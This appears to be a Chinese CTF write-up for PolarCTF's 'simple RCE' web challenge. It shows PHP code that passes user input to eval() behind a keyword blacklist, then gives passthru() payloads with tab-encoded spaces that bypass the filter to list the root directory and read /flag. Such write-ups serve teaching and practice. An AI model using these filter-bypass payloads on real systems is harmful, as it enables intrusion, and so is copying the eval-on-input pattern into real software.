当前位置: 首页 > ai >正文

polarctf-web-[简单rce]

考点:

(1)RCE(eval函数)

(2)执行函数(passthru函数)

(3)/顶级(根)目录查看

(4)sort排序查看函数

题目来源:Polarctf-web-[简单rce]

解题:

代码审计

 <?php/*​PolarD&N CTF​*/highlight_file(__FILE__);function no($txt){  # WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{die("what's up");}}$yyds=($_POST['yyds']);if(isset($_GET['sys'])&&$yyds=='666'){  # 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']eval(no($_GET['sys']));}else{echo "nonono";}?> nonono

分析结果:post传参yyds=666,get传参sys,如果传递的sys绕过了WAF,则执行sys命令,可利用sys传参实现任意代码执行

由于未过滤执行函数passthru(),故可以利用该函数实现任意代码执行

(1)sys=passthru('ls');

查看当前路径下有什么文件,仅有一个index.php文件

(2)sys=passthru('sort%09index.php');

  • sort:Linux 系统命令,用于对文件内容排序并输出内容。

  • %09:URL 编码的 水平制表符(\t,在 Shell 中相当于空格。

查看index.php文件,该文件即为初始显示的前端页面,无利用点

(3)sys=passthru('ls%09/');

查看顶级目录(根目录)下有什么文件

看到存在可疑文件flag

(4)sys=passthru('sort%09/flag');

排序并输出flag文件

(5)也可以使用sys=passthru('vi%09/flag');

http://www.xdnf.cn/news/5747.html

相关文章:

  • Linux学习心得问题整理(一)
  • UDP--DDR--SFP,FPGA实现之指令监测模块实现
  • 鸿蒙北向应用开发: deveco5.0 创建开源鸿蒙项目
  • django扩展练习记录
  • 一文详解Spring Boot如何配置日志
  • 第一章 应急响应-webshell查杀
  • 【免杀】C2免杀技术(一)VS设置
  • 逆向破解:x64dbg
  • 操作系统实战——QEMU模拟器搭建【rCore 操作系统】
  • 多线程访问Servlet如何谨慎处理共享资源
  • 5.10-套接字通信 - C++
  • Spring急速入门
  • Linux系统管理与编程18:自动化部署dhcp服务
  • QML状态机制示例(State)
  • 数据知识产权质押融资风险控制
  • 前端面试每日三题 - Day 31
  • 环境扫描电镜对含水样品的观察技术与方法
  • Yolov8数据增强配置
  • 聊一聊AI对接口测试的潜在影响有哪些?
  • 【Mysql基础】一、基础入门和常见SQL语句
  • Service Mesh实战之Istio
  • 12.2.2 allocator类
  • CMake 命令行参数全解析(2025年更新版)
  • Clang实现C++文件分析,含Python实战
  • 使用webservice生成节假日/双休日/工作日信息
  • 蚁群算法赋能生鲜配送:MATLAB 实现多约束路径优化
  • PowerBI基础
  • bunsenlabs系统详解
  • java 中 DTO 和 VO 的核心区别
  • 基于SpringBoot的校园周边美食探索及分享平台【附源码+数据库+文档下载】